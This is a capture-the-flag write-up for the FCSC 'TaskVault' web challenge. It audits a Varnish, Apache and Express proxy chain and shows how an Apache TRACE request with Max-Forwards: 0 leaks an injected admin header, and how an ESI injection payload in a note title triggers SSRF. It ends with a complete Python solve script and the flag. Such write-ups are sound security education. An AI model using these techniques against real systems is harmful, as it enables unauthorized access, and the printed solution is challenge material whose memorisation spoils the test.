Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.
Source code is given: taskvault.tar.xz
Analysis
Architecture overview
The application is composed of three services:
1$ tree
2.
3├── taskvault
4│ ├── docker-compose.yml
5│ └── src
6│ ├── apache2
7│ │ ├── Dockerfile
8│ │ └── apache.conf
9│ ├── app
10│ │ ├── Dockerfile
11│ │ └── src
12│ │ ├── flag-server.js
13│ │ ├── package.json
14│ │ ├── public
15│ │ │ └── favicon.jpeg
16│ │ ├── server.js
17│ │ └── views
18│ │ ├── backlog.ejs
19│ │ ├── login.ejs
20│ │ └── register.ejs
21│ └── varnish
22│ ├── Dockerfile
23│ └── entrypoint.sh
24└── taskvault.tar.xz
The docker containers are:
- An Express.js container running a task management web application.
- An Apache container acting as a reverse proxy to the Express.js app.
- A Varnish container acting as a second reverse proxy, routing traffic based on the
Hostheader: requests withgive_me_the_flagare forwarded to a flag service, and all other requests are forwarded to the task management app.

When connecting to the service, only the root endpoint is accessible. This is because Varnish injects an X-Admin-Key header that transits between Varnish and the Express.js app through Apache. Express.js checks for this header on every request and returns a 403 if it is missing or invalid:
1app.use((req, res, next) => {
2 const adminKey = req.headers["x-admin-key"];
3
4 if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
5 return res.status(403).json({ error: "Unauthorized access" });
6 }
7 next();
8});
Varnish configuration audit
The Varnish entrypoint is:
1/bin/cat > /etc/varnish/default.vcl << EOF
2vcl 4.0;
3
4backend default {
5 .host = "taskvault-apache2";
6 .port = "8000";
7}
8
9backend flag_backend {
10 .host = "taskvault-app";
11 .port = "1337";
12}
13
14sub vcl_backend_fetch {
15 if (bereq.http.host == "give_me_the_flag") {
16 set bereq.backend = flag_backend;
17 } else {
18 set bereq.backend = default;
19 }
20}
21
22sub vcl_recv {
23 if (req.url == "/" || req.url == "/favicon.jpeg") {
24 set req.http.X-Admin-Key = "${ADMIN_KEY}";
25 }
26 return(pass);
27}
28
29sub vcl_backend_response {
30 set beresp.do_esi = true;
31}
32EOF
33
34exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl
Two things stand out:
- The
X-Admin-Keyheader is only injected for/and/favicon.jpeg; all other routes are unprotected. - ESI (Edge Side Includes) is enabled for all responses via
beresp.do_esi = true.
ESI is a markup language for assembling dynamic web content server-side. If a user can inject ESI tags into a response, they can trigger a Server-Side Request Forgery (SSRF), forcing the server to fetch an arbitrary URL.
Apache configuration audit
The Apache configuration is:
1ServerAdmin contact@fcsc.fr
2ServerName fcsc.fr
3
4<VirtualHost *:8000>
5 TraceEnable on
6 ProxyPass / http://taskvault-app:3000/
7 ProxyPassReverse / http://taskvault-app:3000/
8</VirtualHost>
The notable detail here is TraceEnable on. The TRACE HTTP method is primarily used for debugging: it echoes back the headers received by the server. In a proxy chain, this can be abused to leak headers added by intermediate proxies, such as X-Admin-Key.
Express.js application audit
Looking for user input rendered without escaping, I search for the <%- pattern in EJS templates (which outputs raw HTML, unlike <%= which escapes it):
1$ grep -arin '<%-'
2views/backlog.ejs:95: <h3 id="<%- note.title %>" ...><%= note.title %></h3>
The note title is inserted unescaped into the id attribute of an HTML tag. This allows ESI injection with a payload like:
1"><esi:include src="..." />
Exploitation
Step 1: Leaking X-Admin-Key via TRACE
To recover the X-Admin-Key value, we abuse the TRACE method combined with the Max-Forwards: 0 header. This header limits the number of hops a request can make through proxies. Setting it to 0 tells Apache to stop forwarding and respond directly, echoing back the headers it received, including the X-Admin-Key injected by Varnish.
Sending a plain TRACE without Max-Forwards fails because Apache forwards it to Express.js, which rejects the method:

Adding Max-Forwards: 0 stops the request at Apache and leaks the header:

Step 2: Accessing protected endpoints
With the X-Admin-Key value recovered, we can now reach protected routes such as /register:

After adding the header in the browser via an extension:

We can access the registration page and create an account:

Step 3: ESI injection and SSRF
Once logged in, we create a note with an ESI payload as its title:
1"><esi:include src="http://give_me_the_flag/" />
Since Varnish processes ESI tags on all responses, this triggers a server-side request to the give_me_the_flag backend. The flag is returned inline and appears in the id attribute of the title element:

Full solve script
1import requests
2import random
3
4URL = "https://taskvault.fcsc.fr"
5
6def hijack_admin_key():
7 r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
8 return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]
9
10def register(admin_key):
11 data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
12 r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
13 return r.headers["Set-Cookie"].split(";")[0].split("=")[1]
14
15def esi_injection(cookie, admin_key):
16 data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
17 cookies = {"connect.sid": cookie}
18 r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
19 return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"
20
21def solve():
22 admin_key = hijack_admin_key()
23 cookie = register(admin_key)
24 flag = esi_injection(cookie, admin_key)
25 print(f"[+] FLAG: {flag}")
26
27if __name__ == "__main__":
28 solve()

Flag
1FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}